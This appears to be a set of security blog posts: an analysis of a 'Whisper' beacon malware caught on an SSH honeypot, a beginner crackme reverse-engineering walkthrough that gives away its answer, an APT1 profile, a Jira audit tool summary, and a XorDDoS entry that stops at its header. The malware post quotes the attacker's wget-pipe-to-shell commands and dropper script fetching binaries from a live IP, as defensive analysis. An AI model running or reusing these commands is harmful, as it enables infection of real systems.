Whisper – Interesting Sandbox evasion?


In the past few days I found something fairly interesting in my sandbox. An attacker attempted to install malware, and the initial analysis led me a bit irritated. The attacker used several techniques to prevent delivering the payload to sandboxes. In this post I only show excerpts; I also published a repository on GitHub that contains the full artifacts.

Quick overview of the key facts:

Affected service: SSH
Honeypot: Cowrie
Attacker IP: 31.170.22.205
Commands executed: (see snippet below)

wget -qO- http://31.170.22.205/dl401 | sh
wget -qO- http://31.170.22.205/dl402 | sh
wget -qO- http://31.170.22.205/dl403 | sh
wget -qO- http://31.170.22.205/dl404 | sh
wget -qO- http://31.170.22.205/dl405 | sh
wget -qO- http://31.170.22.205/dl406 | sh
wget -qO- http://31.170.22.205/dl407 | sh
wget -qO- http://31.170.22.205/dl408 | sh

The attacker tried to download a shell script. It looks like this:

cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv5
chmod +x whisper.armv5
./whisper.armv5 410
cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv6
chmod +x whisper.armv6
./whisper.armv6 410
[...]


The script downloads several binaries, sets execute permissions on them, and then runs them. I tried to download those binaries myself and, oddly, every file had the exact same hash. Inspecting the file metadata revealed they are Windows executables.

I uploaded the file to VirusTotal for a quick look.

The file turned out to be Microsoft’s calc.exe, the standard Windows Calculator app. We can verify this by computing the file hash of calc.exe on a Windows machine:

That gives us confirmation. Since the attacker had already registered with our honeypot, I then attempted to download the files from the honeypot IP, which worked as expected. The attacker deliberately prevents his actual payloads from being easily analyzed by serving them only to selected targets.

Here’s a table of the downloaded binaries (click to open)

You can download them for analysis purposes here.

filenamesha256
whisper.aarch645f7dff5b5bdc2a12506cfb771e94b6ea26fec8a78f65cf927f361a39322036f4
whisper.aarch64be7a2af6f8c55bfc6d0bb259b4df37641cfb0dc9a1c94e0955784cfd9b34dc08ef
whisper.arcle750dc92038d168aa088997ea982aadf1d455ac4bc89332916a576117273610f3069f
whisper.arclehs383611fb87865bd967b6a1b2c3450e68cec14ec90abd9a790147e1544896e7b624
whisper.armv458189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f
whisper.armv51d51c313c929d64c5ebe8a5e89c28ac3e74b75698ded47d1bc1b0660adc12595
whisper.armv690bf143a03e0cb6686c32a8a77dbdad6a314a16b7991823f45f7d9cb22ba51bc
whisper.armv72679b37532e176d63c48953cb9549d48feb76f076222cb6502034b0f72ca7db1
whisper.i686326952154ef5a81c819d67f9408e866af5fe2cdb3024df3ef1d650a9932da469
whisper.m68k0f1fd9f0a99693ec551f7eb93b3247b682cb624211a3b0c9de111a8367745268
whisper.mipsd37b334ec94b56236dc008108d4a9189019f1849fb010dcf08cfcf1a7d199b53
whisper.mips641afcdc3210b47356a0f59eeffbc2f7be22c1dd7aa2cc541c0eb20db29da8280e
whisper.mips64lefa96cf3b0022711627b97d569f0c6e28cfd62e7051fdce3f0165f8dd5c4ec760
whisper.mips64len3231f781726cc8cfc002b847fc0f05a7e28ebecea95f5a03b1cdeb63cce3e9ed8c
whisper.mips64n323615d10d1ef6e57b66aa653b158cd8d57166d69cbc4c90c2b7b9dd29820fcc64
whisper.mipsleb4658234a5c300bce3fe410a55fc87a59e4be7d46f948eaff389c4c16016afaa
whisper.powerpc440fpff08d2c7f8b5679add11dd4a297dd40a0d597e92e307ccd9c0d36366b59e3c6f
whisper.powerpc64e5500af7893318f1fe0d60cff62dbebe434e5f8c42bf1b338db23858177e880894574
whisper.powerpc64e65007234970698fab486e210a65aa2a3d3daebd3eebcf4bf016e9670fa725c07d76a
whisper.powerpc64lepower890f5ccd40e0f737eb40dcf292f202c7c70f1cdc2d33bd6718c0b286007f3ce24
whisper.powerpc64power8938205ed2f664fc330e20580799445182ba840672ef8bd75ae7629e07a460a79
whisper.powerpce300c3b2b811bbfe06d0edba85e0b0d42dbffb3714dee5bdd44426a1cb4589874d3234
whisper.powerpce500mcc43f32a066112fd87f43895515d27116e40688ae47b02ce0a5b379672830a136
whisper.riscv3261db3883d792b518450a4a67cfaa4d14baec59239a967ffb30c7a116a39f00e6
whisper.riscv641a60918639c961f6814f4dc74751a926361841b66c837d544697be1d3f42594e
whisper.sh43ac847bc1351ea5275d30cf9186caf607021d7f1da1a4cafeff6886b87844f36
whisper.sparc9033caaa07477bbed8ccd9f130fd8353a81143db44555b734ed1547ef368a8dd
whisper.sparc6400a290ee2458e38a0ec78be1414f651612c51831ff741cb40d5c6a11b29a6d7c
whisper.x644dd0005c6e6d4eca722ed02fec17a689828754a66a107272c5cd62f2fec478e1

For my analysis I’ll focus on the file whisper.x64.


It’s a stripped ELF binary, a binary that has had debugging symbols and symbol names removed. That makes analysis a bit harder, but not impossible. First step: upload the file to VirusTotal.

This was the first submission of the file on VirusTotal, so there is no historical data. Several scanners flagged the binary as a DDoS agent. To find out what it actually does at runtime, I opened it in Ghidra and started looking at functions. First I checked the strings embedded in the binary.


Already we can see some interesting strings, for example:

DEFINED0040a000s_31.170.22.205_0040a000ds “31.170.22.205”“31.170.22.205”string14false
DEFINED0040a012s_/add.php?v=%u&a=%s&o=%u&e=%u_0040a012ds “/add.php?v=%u&a=%s&o=%u&e=%u”“/add.php?v=%u&a=%s&o=%u&e=%u”string29false
DEFINED0040a050s_/ping.php?v=%u&a=%s&e=%u&c=%u_0040a050ds “/ping.php?v=%u&a=%s&e=%u&c=%u”“/ping.php?v=%u&a=%s&e=%u&c=%u”string30true

From these strings we can infer a few capabilities:

  • add.php: registers the client at the C2 server
  • ping.php: sends a ping / heartbeat to the C2 server

Next I examine syscalls to get a clearer picture of the binary’s behavior.
If you want to get an overview of x64 syscalls, you can find them here.

0x31 is the syscall number for sys_bind, so we can infer socket-related functionality. I renamed the function to socket_bind in Ghidra (right-click > Rename Function) and then checked the incoming calls to see where it is used.

After jumping to function FUN_004012b1 we see the following code:

To bind a socket via syscall we need to look at the sockaddr_in layout for x64:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

Offset 0 (2 bytes): sin_family (2 / AF_INET)
Offset 2 (2 bytes): sin_port – this is where param_1 lands
Offset 4 (4 bytes): sin_addr – here it’s 0 (INADDR_ANY)

So local_28 corresponds to sin_family, local_24 to sin_addr, and local_26 to sin_port. I renamed the variables accordingly and gave the function the name create_socket.

FUN_004036d3 likely creates the socket. We can confirm that by searching inside it for syscall 0x29 (which is sys_socket). That matches, I renamed that function and fleshed out the code.

This confirms our assumption, so I can also give this function a name and complete the code as far as possible.

We still didn’t know which port this socket uses, so I looked at incoming references and found it’s called only from FUN_00401020.

That function is invoked right after the entry point, it’s effectively main. From the line iVar2 = create_socket(0x5d15); we can infer the port. 0x5d15 in the binary is not the final port number: it’s an unsigned short that gets converted with htons from host byte order to network byte order.

whisper > printf "%d\n" $(( ((0x5d15 & 0xff) << 8) | ((0x5d15 >> 8) & 0xff) ))
5469

You can convert it in bash or compute by hand: because htons swaps the two bytes on little-endian hosts, 0x5d15 becomes 0x155d, which is 5469 in decimal. This is a common pattern used, for example, to avoid running two copies of the malware, but it could also be used as a communication channel. To check that, I searched for the sys_listen syscall (0x32). There is no listen syscall in the binary, so it’s safe to assume this is an execution lock rather than a listening server. The decompiled code also confirms this.

iVar2 is the return status of the socket creation; if iVar2 == -1 socket creation failed and the program exits.

Now let’s look more closely at the block of code that follows a successful socket creation. I’ll skip FUN_0040123 and FUN_00401246 because they only initialize and destroy a buffer, they don’t add relevant functionality.

To understand the logic I examined four helper functions: FUN_0040120a, FUN_004013c6, FUN_004014e2, and FUN_00404634. I started with FUN_00404634 because it has the most incoming references.

This one is most likely a sleep function. If param_1 == 0 nothing happens, that’s typical for sleep wrappers. If param_1 != 0, the routine calls into the kernel through several helper calls and performs a timed wait.

Inside it calls FUN_00404f1f(0x11, 0, local_28), that’s a wrapper for a syscall. The parameter 0x11 is the syscall we care about; on x86-64 that’s sys_rt_sigtimedwait. rt_sigtimedwait lets you wait for signals with a timeout, so the code can sleep while still being able to respond to signals (from another thread, an IPC, or a realtime signal). Many analysis and monitoring tools hook libc sleep functions like nanosleep(); by using direct syscalls the malware can bypass those hooks and make runtime analysis harder.

After that the code performs what looks like a timer or remaining-time check, it computes elapsed time or remaining time and returns that value. I renamed this helper to sleep for clarity.


FUN_0040120a

FUN_0040120a uses syscall 0xc9, which is a time-related syscall. The function measures elapsed time across a 10-second delay, a typical sandbox-evasion trick. The code checks the difference and only executes the following block if the delta indicates the sleep actually occurred. I renamed this to time_passed_check.


FUN_004013c6

FUN_004013c6 is straightforward: it performs a GET request to the C2’s add.php. That is the client registration step. The GET parameters v, a, o, and e map roughly as follows:

  • v: fixed value
  • a: CPU architecture (agent string)
  • o: fixed value
  • e: the value passed to the binary at execution time

I renamed the function to add_client.


FUN_004014e2

The last function, FUN_004014e2, is similar to add_client. It sends a ping to the C2 server and returns a boolean indicating success or failure. I renamed it ping_cnc.

I’ve now analyzed and named all four helper functions used by FUN_0040125c.
Here’s the result:

Step-by-step:

First, the binary checks the result of the time-check. If that check passes, it registers the client with the C2.

Afterwards, the binary pings the C2 server every 300 seconds. The loop contains a counter that runs 576 iterations in total. The full runtime is therefore limited to exactly 48 hours (300 * 576 = 172,800 seconds = 48 hours). I named the overall routine add_and_ping.

Looking into the main function, we now have a structure that ties everything together:

Note: I intentionally didn’t discuss every single helper; I renamed the lesser functions for clarity but didn’t dig into those that aren’t relevant to this write-up.


Conclusion

The binary’s functionality is limited. On startup it runs a time-difference check designed to detect sandboxing, using sys_rt_sigtimedwait to make sleep detection harder. If the sample concludes the timing check is okay, it registers with the C2 and then pings the C2 every five minutes for 48 hours. This is a beacon-only sample with no additional backdoor capabilities in the analyzed build.

Interpretations

Because the attacker used multiple techniques to keep their real binaries out of standard analysis, this likely serves as a sandbox-evasion measure. The operator can watch the incoming pings from infected machines and, after confirming persistent, consistent check-ins over the 48-hour window, choose targets for a follow-up payload deployment. That prevents premature sandboxing and analysis of the actual payloads.

An argument against that theory is the lack of any attempt to establish persistent access in this sample, that would make later deployment harder if defenders notice and block the operation early.

Another hypothesis is that the operator collects telemetry to detect whether the binary is being detected and if it survives for a desired runtime. That would explain the lack of persistence attempts, but I consider this less likely because there are more efficient ways to perform that kind of telemetry.

References:

Crackme – RodrigoTeixeira’s Very easy disassembly execise


Since I want to dive deeper into reverse engineering, I’ve decided to regularly solve CrackMe challenges from https://crackmes.one; I’ll begin with low-difficulty ones and gradually work my way up to harder challenges.

I chose this approach because it’s a practical way to build and demonstrate the fundamentals, reverse engineering can be overwhelming at first, so starting with simpler tasks helps establish a reliable foundation.

Today’s CrackMe is by Rodrigo Teixeira and is rated 1.1 in difficulty; you can find it here: https://crackmes.one/crackme/68a346c48fac2855fe6fb6df.

Because this is a fairly simple exercise, I’ll analyze it with radare2 instead of Ghidra, partly to avoid making the task trivial and I’ll concentrate on how to translate assembly into readable pseudo-C code step by step.
I recommend gaining a basic understanding of Assembly and the C programming language before diving in. I’ll keep this write-up as beginner-friendly as possible and have included links to resources that explain any terminology that might be unfamiliar to newcomers, if you have any questions, feel free to contact me.

If you want to dive deeper into radare2 commands, i recommend reading it’s official documentation or the following cheatsheet.
Here is a list of references for research used in this WriteUp:

– General Reverse Engineering & x86 Assembly

Intel® 64 and IA-32 Architectures Software Developer’s Manuals
https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html
x86 Instruction Reference
https://wiki.osdev.org/X86-64
PC Assembly Language by Paul A. Carter
https://pacman128.github.io/static/pcasm-book.pdf

– Windows Internals & PE File Format

Microsoft PE/COFF Specification
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format

– radare2

radare2 Book (official)
https://book.rada.re
r2wiki Cheat Sheet
https://r2wiki.readthedocs.io/en/latest/home/misc/cheatsheet/

– Calling Conventions & ABI

System V i386 ABI
https://refspecs.linuxfoundation.org/elf/abi386-4.pdf
Microsoft x64 Calling Convention
https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention

– Beginner-Friendly Practical Resources

Crackmes.one Platform
https://crackmes.one
0x00sec Reverse Engineering Category
https://0x00sec.org/c/reverse-engineering/
OpenSecurityTraining: Intro to x86
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch1001_x86-64_Asm+2021_v1/about

After downloading the binary, the first thing I’ll do is launch radare2 with the -A option to run an automatic analysis pass.

Once radare2 has loaded the binary, you can type i to display detailed information about the loaded excutable.

The binary is a Windows Portable Executable (PE) file. A Portable Executable file is a format used for executable and object files in Windows operating systems, based on the Common Object File Format (COFF). It’s used for files such as .exe, .dll, .sys, and others. The structure begins with a 64-byte MS-DOS header starting with the characters “MZ” (0x5A4D) and includes an offset field (e_lfanew) that points to the actual PE header.
In PE files, it’s important to distinguish between file offsets (positions in the raw file) and virtual addresses (VA), which are used once the file is loaded into memory.
In radare2, s 0 moves to the file offset 0x0, while s baddr jumps to the binary’s base virtual address (usually 0x00400000 for Windows executables).

You can inspect the e_lfanew field with:

pv4 @ 0x3c

This gives the offset to the PE header.
If the result is 0xffffffff, it typically means the memory region isn’t mapped or is filled with placeholder bytes (0xFF).

We can also verify this by entering the following command:

s 0
# Shows the MS-DOS header ("MZ ...")
px 64 @ 0 

As expected, you can see the “MZ” signature (0x4D5A) at the beginning of the header.
PE files (like all Windows binaries) use little-endian byte order, meaning the least significant byte comes first.
In radare2:

px 4 @ 0x3c    ; shows raw bytes (in little-endian order)
pv4 @ 0x3c     ; interprets those 4 bytes as a 32-bit integer

You can also use pf to parse structured data, for example:

pf 2s e_magic; 58x; 4u e_lfanew @ 0

This reads the e_magic signature and the e_lfanew offset in one step, making PE header inspection much clearer.


Now I’ll run afl to list the functions that radare2 discovered in this binary.
The list is extensive, but we’re specifically looking for the entry function where the executable begins execution.

The entry function is located at 0x00401a00; radare2 has already taken us there automatically, but you can jump to it manually with s 0x00401a00.

Using afl~main we can list all functions whose names include “main.”

To display the assembly code for this function, I can use the command pdf @ sym._main.

Now we can translate the given assembly into pseudocode to better visualize what the function is doing.
I’ll start by deriving the function signature (parameters and return type). Here’s the general approach:

Identify the calling convention

  • In the epilogue:
    • ret -> cdecl (the caller cleans up the arguments)
    • ret N -> stdcall (the callee cleans up N bytes = number of arguments × 4)
  • Register-based conventions:
    • thiscall (MSVC): ecx holds this
    • fastcall: the first arguments are passed in ecx and edx

Count the number of arguments

  • For stdcall: the number of arguments = imm in ret imm / 4
  • For cdecl:
    • Count the push instructions (or mov [esp+…]) before the call in the caller function
    • Example: three push instructions -> three arguments
  • If the callee references its arguments directly:
    • [ebp+8] -> first argument
    • [ebp+0xC] -> second argument, and so on.

Determine the return type
Check the final instructions in the function body:

  • Used as an address -> pointer
  • Value returned in eax (32-bit) -> int, bool, or pointer
  • Value returned in edx:eax -> 64-bit integer
  • Value returned via st0 (FPU) -> float or double (common with fld/fstp)
  • (SSE returns on x86-32 are rare; on x64 they use xmm0.)

Consider semantics:

  • Only 0 or 1 -> likely bool
  • Multiple values or error codes -> int

Now, for our specific case:

Since the callee doesn’t use any parameters in its data flow, we move to its caller (the CRT startup routine).
In PE/MinGW, the startup sequence typically goes like this:
mainCRTStartup -> __tmainCRTStartup -> ___main or __mingw32_init_mainargs -> _main(argc, argv, envp)

Identifiying CRT vs. User Code:

When analyzing Windows executables, you’ll often see functions like ___main, mainCRTStartup, or __tmainCRTStartup.
These belong to the C Runtime (CRT) and handle setup tasks such as initializing global variables, the floating-point environment, and calling your actual main function.
A quick rule of thumb: if the function name starts with multiple underscores or manipulates environment or FPU state (fldenv, fninit, ldmxcsr), it’s part of the CRT, not user-written code.

We can now inspect the call sites in radare2.
Looking at the initial disassembly output, we can identify the relevant line:

; CALL XREF from fcn.004011b0 @ 0x401283(x)

This shows the address of the call site.
We can jump to that address and review the instructions leading up to the call with:

s 0x401283
pd -30
pd 20

Here we can see the typical behavior of the C runtime (CRT), which retrieves the arguments from global variables and passes them to main using a push-less call convention.

Push-less Call Convention? What is that? (CLICK)

Some compilers (like GCC or MinGW) don’t use the traditional push instructions for function arguments.
Instead, they write the argument directly onto the stack with mov [esp], value and then call the function.
When the call instruction executes, it automatically pushes the return address, which shifts the argument down to [esp+4]exactly where the callee expects it according to the cdecl calling convention.

Example:

mov [esp], 0x405064   ; write argument (string address)
call printf            ; CPU pushes return address -> arg at [esp+4]

This technique saves instructions and is known as a push-less call setup.

0x00401267  e8 8c28....    call ___p__environ
0x0040126c  8b 00           mov  eax, dword [eax]
0x0040126e  89 44 24 08     mov  [var_8h], eax

Here’s a brief explanation of the assembly code:
___p__environ() returns a pointer to the global variable environ, which is of type char***.
mov eax, [eax] dereferences it once, so eax now holds a char** the actual envp pointer.
This value is then stored in var_8h, effectively setting envp = environ;.

0x00401272  a1 00 70 40 00  mov  eax, [0x407000]
0x00401277  89 44 24 04     mov  [var_4h], eax

[0x407000] is a CRT global variable, typically representing __argc.
Therefore, var_4h receives the value of argc, effectively making it argc = __argc;.

0x0040127b  a1 04 70 40 00  mov  eax, [0x407004]
0x00401280  89 04 24        mov  [esp], eax      ; char **argv

[0x407004] is the CRT global variable for __argv, which is of type char**.
mov [esp], eax writes the first function argument directly onto the top of the stack without using a push instruction.
This is a common compiler pattern known as a “push-less call setup,” meaning argv is now prepared as the first parameter for the upcoming function call.

0x00401283  e8 d8 01 00 00  call sym._main      ; int main(char **argv)

The call uses exactly what’s currently stored in [esp], which is argv.
That’s why radare2 annotates the function signature as int main(char **argv)only argv is passed as an argument.

Now that we understand how the parameter passing works, we can start writing our first pseudocode.

<RETURN-TYPE> main(char **argv) {}

We still need to determine the return type for the function signature, which should be relatively easy to identify. To do this, I’ll take a look at the final instructions of our assembly function.

│       └─> 0x004014a5      b800000000     mov eax, 0 
│           0x004014aa      c9             leave
└           0x004014ab      c3             ret

mov eax, 0 gives us a clear indication of the return type. To determine it, it’s useful to look at which register is being used in the mov instruction right before the leave and ret sequence.
In 32-bit code, the return value is always stored in the EAX register.
This follows the ABI (Application Binary Interface) convention, which applies to all languages that adhere to C calling conventions such as C, C++, Pascal, and stdcall.

Calling Conventions? What is that? (CLICK)

Understanding the calling convention is essential when reconstructing a function’s signature.
You can often identify it by looking at how the stack is cleaned up and how arguments are passed:

ConventionStack CleanupArgument PassingTypical Pattern
cdeclCallervia stack (push / mov [esp+..])ret
stdcallCalleevia stackret N (N = args × 4)
fastcallCalleefirst args in ecx, edxret N
thiscallCalleeecx = this (C++)ret N

If the callee doesn’t access any arguments directly, inspect the call site instead — count how many push or mov [esp+..] instructions occur before the call. That number tells you how many parameters are passed.

Rückgabetyp (in C)RegisterGröße
int, bool, pointerEAX4 Bytes
floatST0 (FPU)4 Bytes
doubleST0 (FPU)8 Bytes
long longEDX:EAX8 Bytes zusammengesetzt

We can therefore confidently conclude that the return value is an integer, allowing us to expand our pseudocode accordingly.

int main(char **argv) {}

We can therefore confidently conclude that the return value is an integer and expand our pseudocode accordingly.

Now we can finally focus on analyzing the data flow and translating it step by step.

The prologue of the function can be ignored when writing our pseudocode, it is responsible for setting up the stack frame, aligning the stack to 16 bytes, reserving local variables, and initializing the C runtime (CRT).

Stack frame? What is that? (CLICK)

At the beginning of a function, the compiler sets up what’s called a stack frame.
sub esp, 0x20 reserves 32 bytes (0x20) on the stack for local variables.
Each local variable is located at a specific offset relative to either esp or ebp.

Example:

esp+0x00 → return address (after the call)
esp+0x04 → first function argument
esp+0x1C → local variable var_1ch

So, lea eax, [var_1ch] loads the address of that local variable into eax, not its value.

At the end of the function, the leave instruction restores the previous stack frame, and ret pops the return address to resume execution at the caller.

55                    push ebp
89 e5                 mov ebp, esp
83 e4 f0              and esp, 0xfffffff0      ; 16-Byte-Alignment
83 ec 20              sub esp, 0x20            ; 32 Byte local variables
e8 72 05 00 00        call ___main             ; CRT/MinGW-Init

The first section of code that we can meaningfully translate begins at address 0x0040146e:

esp+00  <- Here, the compiler immediately stores the first function argument (push-less).
esp+04  <- 2. Argument
...
esp+1C  <- local int  (radare: var_1ch)

The first section of code that we can meaningfully translate begins at address 0x0040146e:

0x0040146e      c704246450..   mov dword [esp], str.Enter_password__int_: ; [0x405064:4]=0x65746e45 ; "Enter password (int): " ; const char *format
0x00401475      e80e260000     call sym._printf            ; int printf(const char *format)

At address 0x0040146e, the instruction writes the 32-bit value 0x405064 the address of the C string constant "Enter password (int): " stored in the .rdata section to the top of the stack ([esp]).
This represents a push-less argument setup: instead of using push imm32, the compiler writes the first function argument directly into the stack slot. This pattern is typical for GCC and MinGW.

Immediately afterward, the function printf is called to print the string. During the call, the CPU automatically pushes the return address onto the stack, which decreases esp by 4 bytes.

We can now extend our pseudocode as follows:

int main(char **argv) {
    printf("Enter password (int): ");
}

Now let’s examine the next four lines:

0x0040147a      8d44241c       lea eax, [var_1ch]
0x0040147e      89442404       mov dword [var_4h], eax
0x00401482      c704247b50..   mov dword [esp], 0x40507b   ; '{P@'
                                                           ; [0x40507b:4]=0x59006425 ; "%d" ; const char *format0x00401489      e8ea250000     call sym._scanf      ; int scanf(const char *format)

At address 0x0040147a, we can see that the function’s stack frame contains a local variable at offset 0x1C, var_1ch is radare2’s symbolic name for the stack slot at [esp+0x1c] (i.e., a local 0x1C bytes into the 0x20-byte frame reserved by sub esp, 0x20).

This variable is not initialized and, as we can see in the final instruction of this block, it is used as the destination for the scanf call to store the user input.

We can incorporate this information directly into our pseudocode:

int main(char **argv) {
    printf("Enter password (int): ");
    int input;
    scanf("%d", &input);
}

Our code is slowly starting to take shape and gain some structure, so let’s move on and analyze the remaining instructions:

│           0x00401492      3d90e70100     cmp eax, 0x1e790
│       ┌─< 0x00401497      750c           jne 0x4014a5
│       │   0x00401499      c704247e50..   mov dword [esp], str.You_got_it___ ; [0x40507e:4]=0x20756f59 ; "You got it ;)" ; const char *format
│       │   0x004014a0      e8e3250000     call sym._printf            ; int printf(const char *format)
...
│       └─> 0x004014a5      b800000000     mov eax, 0
│           0x004014aa      c9             leave
└           0x004014ab      c3             ret
            0x004014ac      6690           nop

cmp eax, 0x1e790 compares the value in EAX (previously loaded from [var_1ch], i.e. the user-input) with the 32-bit constant 0x001E790 (decimal 124816), which is important for our CrackMe Challenge, this is effectively the flag; the CPU updates the status flags (including the Zero Flag, ZF) as a result.

Translating Comparisons and Flags into if Statements (CLICK)

The cmp instruction sets CPU status flags based on the result of a subtraction (A - B), and conditional jumps like je, jne, or jg use those flags to control flow.

InstructionCondition (Flag)High-Level Equivalent
je / jzZF = 1if (A == B)
jne / jnzZF = 0if (A != B)
jg / jnleZF=0 & SF=OFif (A > B)
jl / jngeSF≠OFif (A < B)

Example:

cmp eax, 0x1e790
jne 0x4014a5

translates to

if (input != 124816) goto 0x4014a5;

Tip: You can quickly convert hexadecimal to decimal in radare2 with

? 0x1e790



0x00401497 jne 0x4014a5 is “jump if not equal”: it branches only when ZF == 0 (values unequal); if the input != 124816 execution jumps to 0x4014a5, skipping the subsequent print.

If EAX == 0x1E790 (ZF == 1), execution falls through to the next block: mov dword [esp], 0x40507e writes the address of the C string "You got it ;)" (located in .rdata at 0x40507e) into [esp] as the first function argument, a push-less argument setup (instead of push imm32).

call sym._printf invokes printf(const char *format); the call pushes the return address so that printf finds its first argument at [esp+4], consistent with the cdecl/varargs calling convention.

Finally, mov eax, 0 loads the immediate value 0 into EAX (overwriting any previous content); under the 32-bit cdecl ABI EAX is the standard return register, so this corresponds to return 0;. leave restores the stack frame (mov esp, ebp; pop ebp), and ret returns control to the caller.

Identifying and understanding is a Keyskill for writing Pseudocode, so


int main(char **argv) {
    printf("Enter password (int): ");
    int input;
    scanf("%d", &input);
    if (input == 124816) {
        printf("You got it ;)");
    }

    return 0
}

With this, we now have both the flag (124816) and the pseudocode for the challenge; I hope you were able to follow along and take something useful from my write-up. If you have feedback or questions, feel free to comment or contact me.

I also recommend reviewing all linked resources, as they can be very helpful if you want to dive deeper into reverse engineering 🙂

APT1

APT1 (Comment Crew / Shanghai Group) – Quick Facts

  • Type: Advanced Persistent Threat (APT)
  • Aliases: Comment Crew, Comment Group, Comment Panda, Unit 61398.
  • Origin: China, linked to PLA Unit 61398
  • Active Since: Mid-2000s
  • Primary Targets: Western corporations, government organizations, defense contractors
  • Motivation: Cyber espionage, intellectual property theft
  • Tactics & Techniques:
    • Spear-phishing emails
    • Custom malware and remote access tools (RATs)
    • Long-term network infiltration for intelligence gathering
  • Notable Campaigns:
    • Exfiltration of corporate data across multiple industries, including aerospace, energy, and technology
  • Significance:
    • One of the first publicly documented APT groups
    • Exposed in Mandiant’s 2013 report, raising global awareness of state-sponsored cyber espionage
  • Attributed Tools & Malware:
    • Malware Samples & More Malware Samples
    • WEBC2 Family:
      • WEBC2-AUSOV
      • WEBC2-ADSPACE
      • WEBC2-BOLID
      • WEBC2-CLOVER
      • WEBC2-CSON
      • WEBC2-DIV
      • WEBC2-GREENCAT
      • WEBC2-HEAD
      • WEBC2-KT3
      • WEBC2-QBP
      • WEBC2-RAVE
      • WEBC2-TABLE
      • WEBC2-TOCK
      • WEBC2-UGX
      • WEBC2-YAHOO
      • WEBC2-Y21K
    • GOGGLES – Downloader used by the group (serves as a payload/secondary-stage downloader).
    • GLASSES – A variant or close relative of GOGGLES; identified in a Citizen Lab analysis and likely an earlier or related implementation.
    • AURIGA / BANGAT – Tools linked to a developer tracked as “SuperHard”; mentioned by Mandiant but not always named in the public report.
    • Email-exfiltration utilities: GETMAIL (used to extract PST files) and MAPIGET (used to read emails that haven’t been archived).
    • Public privilege-escalation tools: examples include cachedump, fgdump, and gsecdump, not unique to APT1 but observed in their operations.
    • HTRAN (HUC Packet Transmit Tool) – used as a hop/proxy relay to forward communications between victims and command-and-control servers, helping to obscure origin and routing.
  • MITRE ATT&CK: https://attack.mitre.org/groups/G0006/

Description

APT1, often called the Comment Crew or PLA Unit 61398, is one of the most infamous and well-documented cyber espionage groups linked to the Chinese government. First brought into the spotlight by Mandiant’s 2013 report, APT1 was among the first hacking units publicly tied to a specific branch of China’s military, the People’s Liberation Army, revealing the true scale of state-backed digital espionage for economic and strategic gain.

Active since at least 2006, APT1 ran one of the most disciplined and long-running hacking operations ever uncovered. Its members focused on stealing intellectual property and confidential business information from hundreds of organizations across industries like aerospace, defense, energy, telecom, and manufacturing – mostly in the United States, but also in Europe and Asia. Everything they took seemed to serve China’s national interests, whether by boosting its industries or informing military and political strategies.

Technically, APT1 was known for its methodical and repeatable playbook. The group broke in through targeted phishing emails and custom malware such as the WEBC2 family (with variants like WEBC2-AUSOV and WEBC2-GREENCAT). Once inside, they established persistence with credential-stealing tools (GETMAIL, MAPIGET, FGDump) and routed stolen data through a vast command-and-control network of more than 1,000 servers and 2,500 domains, often masked with tools like HTRAN to hide their tracks. Their infrastructure and coding style were remarkably consistent, the work of full-time engineers, not lone hackers.

What made APT1 stand out wasn’t just the scale of its operations, but the professionalism behind it. Investigators found evidence of shift-based work hours, organized infrastructure, and shared codebases, all pointing to a state-run, military-grade espionage unit based in Shanghai. The exposure of APT1 changed how the world viewed cyber conflict, proving that digital espionage could be conducted with the same structure and intent as any traditional military campaign.

In many ways, APT1 set the template for the modern nation-state hacking group: large, organized, patient, and focused on long-term strategic advantage rather than chaos or quick profit. Its legacy still shapes how governments and companies think about cybersecurity and geopolitical risk today.

References:

JIRAudit

Dein Open-Source-Tool für Sicherheits-Audits in Jira Server & Data Center

In der heutigen Zeit, in der Datenschutz und Compliance oberste Priorität haben, ist es entscheidend, die Sicherheit und Integrität deiner Jira-Instanz regelmäßig zu überprüfen. Während Jira über eingebaute Audit-Logs verfügt, bieten diese oft nicht die Tiefe und Flexibilität, die für umfassende Sicherheitsanalysen erforderlich sind. Hier kommt JIRAudit ins Spiel, ein Open-Source-Tool, das speziell für Jira Server und Data Center entwickelt wurde.


Was ist JIRAudit?

JIRAudit ist ein Python-basiertes Sicherheits-Audit-Tool, das entwickelt wurde, um Sicherheitslücken in Jira-Instanzen zu identifizieren. Es bietet eine detaillierte Analyse von Benutzerberechtigungen, installierten Plugins, Systemkonfigurationen und mehr. Das Tool hilft Administratoren dabei, potenzielle Sicherheitsrisiken zu erkennen und entsprechende Maßnahmen zu ergreifen.


Hauptfunktionen im Überblick

  • Benutzer- und Berechtigungsanalyse: Überprüft Benutzerkonten und deren Berechtigungen, um sicherzustellen, dass keine unnötigen oder übermäßigen Rechte vergeben wurden.
  • Plugin-Überprüfung: Identifiziert installierte Plugins und bewertet deren Sicherheitsstatus, um potenzielle Schwachstellen zu erkennen.
  • Systemkonfigurationsanalyse: Analysiert die Jira-Systemkonfiguration auf Best Practices und Sicherheitslücken.
  • Berichterstattung: Generiert detaillierte Berichte, die Administratoren bei der Behebung von Sicherheitsproblemen unterstützen.

Vorteile von JIRAudit

  • Open Source: JIRAudit ist unter der Apache-2.0-Lizenz verfügbar, was bedeutet, dass es kostenlos genutzt, modifiziert und verteilt werden kann.
  • Regelmäßige Updates: Das Tool wird kontinuierlich aktualisiert, um mit den neuesten Jira-Versionen und Sicherheitstrends Schritt zu halten.
  • Einfache Integration: Dank seiner Python-Basis lässt sich JIRAudit problemlos in bestehende DevOps- und CI/CD-Pipelines integrieren.

So setzt du JIRAudit ein

  1. Installation: Lade das neueste Release von GitHub herunter.
  2. Konfiguration: Passe die settings.py-Datei an deine Jira-Instanz an.
  3. Ausführung: Führe das Tool über die Kommandozeile aus: python JIRAudit.py
  4. Analyse: Überprüfe die generierten Berichte auf potenzielle Sicherheitsrisiken.

Weitere Ressourcen

XORDDoS


Malware Name / Type

  • Name: XorDDoS (aka XOR DDoS)
  • Type: Linux Trojan / DDoS botnet (rootkit-capable)

Quick Summary

